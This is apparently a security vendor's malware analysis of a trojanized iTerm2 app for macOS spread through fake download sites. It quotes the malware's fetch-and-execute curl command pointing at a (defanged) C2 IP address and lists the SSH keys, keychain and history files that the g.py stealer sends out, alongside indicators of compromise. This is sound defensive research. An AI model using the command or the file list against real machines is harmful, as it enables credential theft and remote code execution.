Trend Micro Incorporated : Mac Users Targeted by Trojanized iTerm2 App

Earlier this month,a user on Chinese question-and-answer website Zhihu reportedthat a search engine result for the keyword "iTerm2" led to a fake website calleditem2.netthat mimics the legitimateiterm2.com(Figure 1). A fake version of the iTerm2 app, a macOS terminal emulator, can be downloaded from a link found initerm2.net. When this app is executed, it downloads and runsg.py, a malicious Python script from 47[.]75[.]123[.]111. This malware, which Trend Micro has detected as TrojanSpy.Python.ZURU.A, collects private data from a victim's machine.

Figure 1. The fraudulent website iterm2.net

Objective-see previouslypublished a blog entryabout this malware, which analyzed how the threat actor repacks the iTerm2 app to load the maliciouslibcrypto.2.dylib. This, in turn, downloads and runs other components, including the aforementionedg.pyscript and a Mach-O file called "GoogleUpdate" that contains a Cobalt Strike beacon payload. This blog entry covers the malware's details.

The trojanized app

As of September 15,iterm2.netis still active. However, the malicious file is not hosted on this website directly. Instead, the website contains a link,hxxp://www.kaidingle.com/iTerm/iTerm.dmg, from which users are able to download a macOS disk image file (DMG) callediTerm.dmg. The user is redirected to this download URL foriTerm.dmgregardless of the app version the user selects to download from the fake website; the realiterm2.comwebsite has different URLs and files for various versions. The files that are downloaded from the legitimate website come in a ZIP file format, as opposed to the DMG file from the fraudulent website, as shown in Figure 2.

Figure 2. The file downloaded from the fake website (left) and the official website (right)

Comparing the folder structure of the DMG and ZIP files shows numerous differences between them:

• All the Mach-O files in the trojanized iTerm2 app were signed with an Apple Distribution certificate, as shown in Figure 3, whereas files in the legitimate iTerm2.app are code signed with a Developer ID Application certificate. According to Apple documentation, an Apple Distribution certificate is only used to sign an app before the developer delivers it to the App Store, so apps downloaded from the App Store generally don't have an Apple Distribution certificate.

Figure 3. Trojanized iTerm2 app code signing

• The trojanized iTerm2 app contains a file calledlibcrypto.2.dylib(with a SHA-256 hash of 2c269ff4216dc6a14fd81ffe541994531b23a1d8e0fbd75b9316a9fa0e0d5fef) in its Frameworks folder, which does not exist in the legitimate version, as shown in Figure 4.

Figure 4. The libcrypto.2.lib file added in the trojanized iTerm2 app

• In the trojanized iTerm2 app, the main Mach-O file has an additional load command calledLC_LOAD_DYLIBthat loads thelibcrypto.2.dylibfile, shown in Figure 5.

Figure 5. The load command LC_LOAD_DYLIB loads the file libcrypto.2.dylib

According to Objective-see's blog post, the malicious codes contained in thelibcrypto.2.dylibfile are executed automatically when the victim runs the trojanized iTerm2 app. This is a clever method for repacking legitimate apps that we have not seen before.

Once executed, the malware connects to its server and receives these instructions from it:

1. "curl -sfo /tmp/g.py http://47[.]75[.]123[.]111/g.py && chmod 777 /tmp/g.py && python /tmp/g.py && curl -sfo /tmp/GoogleUpdate http://47[.]75[.]123[.]111/GoogleUpdate && chmod 777 /tmp/GoogleUpdate && /tmp/GoogleUpdate"
2. Download theg.pyscript to the folder/tmp/g.pyand execute it
3. Download "GoogleUpdate" to the folder/tmp/GoogleUpdateand execute it
4. Collect data using theg.pyscript

The Python scriptg.pycollects the following system data and files from the victim's machine, which the script then sends to the server:

1. Operating system information
2. Username
3. Installed applications
4. Local IP address
5. Copies of these files and folders:

   1. ~/.bash_history'
   2. ~/.zsh_history
   3. ~/.gitConfig
   4. /etc/hosts
   5. ~/.ssh
   6. ~/.zhHistory
   7. ~/Library/Keychains/Login.keychain-db
   8. ~/Library/Application Support/VanDyke/SecureCRT/Config/
   9. ~/Library/Application Support/iTerm2/SavedState/
6. The contents of these directories:

   1. ~/ - {current user home directory}
   2. ~/Desktop
   3. ~/Documents
   4. ~/Downloads
   5. /Applications

Other trojanized apps and fake sites

Further analysis of the trojanized iTerm2 app's Apple Distribution certificate led us to find similar trojanized apps on VirusTotal (Table 1), all of which were trojanized using the same method.

Table 1. Other trojanized apps found on VirusTotal

File Name	SHA-256 Hash	Detection
iTerm.app.zip	5f59ead37fa836c6329a7ba3edd4afc9a2c5fec61de4e0cdb8e8a41031ae4db0	TrojanSpy.MacOS.ZURU.A
SecureCRT.dmg	ae0510032cd4699ef17de7ed1587918ffcd7ff7c9a77fc45f9d68effe2934132	Trojan.MacOS.ZuRu.PFH
SecureCRT.dmg	1e462f8716275dbae6acb3ff4f7a95624c1afb23c5069fa42a14ed49c2588921	Trojan.MacOS.ZuRu.PFH
Microsoft Remote Desktop.dmg	5ca2fb207762e886dd3336cf1cb92c28f096a5fbb1798ea6721b7c94c1395259	TrojanSpy.MacOS.ZURU.A
Navicat15_cn.dmg	6df91af12c87874780cc9d49e700161e1ead71ae045954adbe7633ec9e5e45ff	TrojanSpy.MacOS.ZURU.A
Navicat15_cn.dmg	91541cfc0474d6c06376460759517ae94f36fca74d5ab84cf5c23d98bd33939e	TrojanSpy.MacOS.ZURU.A

Searching VirusTotal for the Secure Sockets Layer (SSL) thumbprint thatiterm2.netused revealed several other fraudulent websites. As shown in Figure 6, all of these websites resolved to the same IP address, 43[.]129[.]218[.]115.

Figure 6. Other fake websites found on VirusTotal

We were able to access one of these fake websites,snailsvn.cn, but the download link on its page was empty at that time, so it remains uncertain whether this website had been used to distribute a trojanized version of SnailSVN, an Apache Subversion (SVN) client for Mac OS X, in the wild (Figure 7). However, all of these domains were inaccessible at the time of writing.

Figure 7. The fake SnailSVN website

Download server

The server used for hosting the trojanized packages,kaidingle[.]com, was registered on September 7, and is currently still active. According to VirusTotal, apart fromiterm.dmg, it also hosts other DMG files such asSecureCTR.dmgandNavicat15_cn.dmg(Figure 8). As of September 18, the latter two DMG files can still be downloaded from the server.

Figure 8. URLs relating with download server

Based on the server's information on WHOIS, a query and response protocol, there are four other domains under the same registrant (Figure 9). However, so far, none of these domains show any indication that they're related to any malware.

Figure 9. Other domains from the same registrant

Second-stage server

VirusTotal recorded multiple URLs related to a second-stage server under the IP address 47[.]75[.]123[.]111 - the same address as that of the maliciousg.pyscript - from September 8 to 17, as shown in Figure 10.

Figure 10. URLs under the second-stage server

Besides theg.pyscript and "GoogleUpdate" components that are part of the trojanized iTerm app malware routine, the second-stage server also hosts four other Mach-O files that are used as post-penetration tools (Table 2).

Table 2. Other Mach-O files hosted in the second-stage server

File Name	SHA-256 Hash	Description/Detection
la	79ef23214c61228a03faea00a1859509ea3bf0247219d65ae6de335fde4061f5	An open source intranet penetration scanner framework (https://github.com/k8gege/LadonGo)
iox	f005ea1db6da3f56e4c8b1135218b1da56363b077d3be7d218d8284444d7824f	A tool for port forward and intranet proxy (https://github.com/EddieIvan01/iox)
netscan-darwin-amd64	d12ef7f6de48c09e84143e90fe4a4e7b1b3d10cee5cd721f7fdf61e62e08e749	Netscan scans a network for ports that are open on an IP/IP range, and IP addressess that are in use on that network (https://github.com/jessfraz/netscan/releases)
Host	a83edc0eb5a2f1db62acfa60c666b5a5c53733233ce264702a16cb5220df9d4e	Backdoor.MacOS.Wirenet.PFH

Notably, the IP address of the second-stage server is similar to the one "GoogleUpdate" connects to, which is 47[.]75[.]96[.]198. Both of these IP addresses are hosted by Alibaba Hong Kong. As shown in Figure 11, the URLs under 47[.]75[.]96[.]198 were registered around the same time as those in the second-stage server, which suggests that these two servers may have been set up by same threat actor.

Figure 11. URLs under the same server as "GoogleUpdate"

Advertisement sites

As detailed in the aforementioned user report, the first item from the search engine results is under the subdomainrjxz.jxhwst.top. Searching for this address in Google generates two results that lead only to their cache (Figure 12), and as of this writing, their actual pages are already down.

Figure 12. Google caches of the two fake sites

The first search result, called "Microsoft Remote Desktop," has an address ofhxxp://rjxz.jxhwst.top/3, but based on its cache (Figure 13) and source code (Figure 14), we found that it redirected visitors to a fake website,hxxp://remotedesktop.vip.

Figure 13. The cache of the fake "Microsoft Remote Desktop" page

Figure 14. The source code of the fake page

Upon checking its main page, we discovered that the second-level domainjxhwst.topbelongs to an agriculture company north of China. Apart from the subdomainrjxz.jxhwst.top, this second-level domain has 44 other subdomains, almost all of which are used for advertisements that have no relation to the agriculture company (Figure 15). It is possible that the company rents out these subdomains to others for advertising purposes, but cannot prevent them from being used for illegal purposes. If this is the case, the threat actor rents the subdomain for malware distribution.

Figure 15. The subdomains of the agriculture company

Security recommendations

To protect systems from threats like these, end users should only download apps from official and legitimate marketplaces. They should be careful about the search results from search engines, and always double-check URLs to make sure these really point to the official sites. Mac users can consider multilayered security solutions such asTrend Micro Antivirus for Mac®, which provides enhanced anti-scam protection that flags and blocks scam websites that attempt to steal their personal data. They may also avail of Antivirus for Mac as part ofTrend Micro Maximum Security, a multi-platform solution that offers comprehensive security and multidevice protection against cyberthreats.

Indicators of Compromise (IOCs)

File Name	SHA-256 Hash	Detection
SecureCRT.dmg	1e462f8716275dbae6acb3ff4f7a95624c1afb23c5069fa42a14ed49c2588921	TrojanSpy.MacOS.ZURU.A
com.microsoft.rdc.macos	5ca2fb207762e886dd3336cf1cb92c28f096a5fbb1798ea6721b7c94c1395259	TrojanSpy.MacOS.ZURU.A
iTerm.app.zip	5f59ead37fa836c6329a7ba3edd4afc9a2c5fec61de4e0cdb8e8a41031ae4db0	TrojanSpy.MacOS.ZURU.A
Navicat15_cn.dmg	6df91af12c87874780cc9d49e700161e1ead71ae045954adbe7633ec9e5e45ff	TrojanSpy.MacOS.ZURU.A
Navicat15_cn.dmg	91541cfc0474d6c06376460759517ae94f36fca74d5ab84cf5c23d98bd33939e	TrojanSpy.MacOS.ZURU.A
SecureCRT.dmg	ae0510032cd4699ef17de7ed1587918ffcd7ff7c9a77fc45f9d68effe2934132	TrojanSpy.MacOS.ZURU.A
iTerm.dmg	e5126f74d430ff075d6f7edcae0c95b81a5e389bf47e4c742618a042f378a3fa	TrojanSpy.MacOS.ZURU.A
Microsoft Remote Desktop.dmg	4e8287b61b0269e0d704c6d064cb584c1378e9b950539fea366ee304f695743f	TrojanSpy.MacOS.ZURU.A
libcrypto.2.dylib	4aece9a7d73c1588ce9441af1df6856d8e788143cd9e53a2e9cf729e23877343	TrojanSpy.MacOS.ZURU.A
libcrypto.2.dylib	4e8287b61b0269e0d704c6d064cb584c1378e9b950539fea366ee304f695743f	TrojanSpy.MacOS.ZURU.A
libcrypto.2.dylib	8db4f17abc49da9dae124f5bf583d0645510765a6f7256d264c82c2b25becf8b	TrojanSpy.MacOS.ZURU.A
libcrypto.2.dylib	62cae3c971ed01c61454e4c3d9a8439cdcb409a8e1c5641e5c7c4ac7667cb5e5	TrojanSpy.MacOS.ZURU.A
libcrypto.2.dylib	aba7c61d2c16cdae17785a38b070df57aa3009f00686881642be31a589fabe0a	TrojanSpy.MacOS.ZURU.A
libcrypto.2.dylib	af2cb957387b7c4b0c5c9fa24a711988c9e8802e758622b321c9bdc5720120d2	TrojanSpy.MacOS.ZURU.A
libcrypto.2.dylib	e8184e1169373e2d529f23b9842f258dddc1d24c77ced0d12b08959967dfadef	TrojanSpy.MacOS.ZURU.A
libcrypto.2.dylib	2c269ff4216dc6a14fd81ffe541994531b23a1d8e0fbd75b9316a9fa0e0d5fef	TrojanSpy.MacOS.ZURU.A
g.py	ffb0a802fdf054d4988d68762d9922820bdc3728f0378fcd6c4ed28c06da5cf0	TrojanSpy.Python.ZURU.A

MITRE Tactics, Techniques, and Procedures (TTPs)

Tactic	ID	Name	Description
Initial Access	T1566.002	Spearphishing Link	Phishing website from search engine results
Execution	T1059.006	Python	Downloads Python script
T1204.002	Malicious File	Executes the repackaged iTerm2 app will launch the malwaredylib libcrypt.2.dylib
Defense Evasion	T1140	Deobfuscate/Decode Files or Information	Strings in malwaredylibare AES and Base64 encoded
T1036	Masquerading (6)	Malware is a malware dylib inserted in a repackaged iterm2 app
Collection	T1560.002	Archive via Library	Collects various information and adds it to zip archive
T1005	Data from Local System	Collects system information, bash history and login keychain information
T1602	Data from Configuration Repository (2)	Collects contents of /Library/Application Support/VanDyke/SecureCRT/Config
Exfiltration	T1041	Exfiltration Over C2 Channel	Files are exfiltrated to hxxp://47[.]75[.]123[.]111/u.php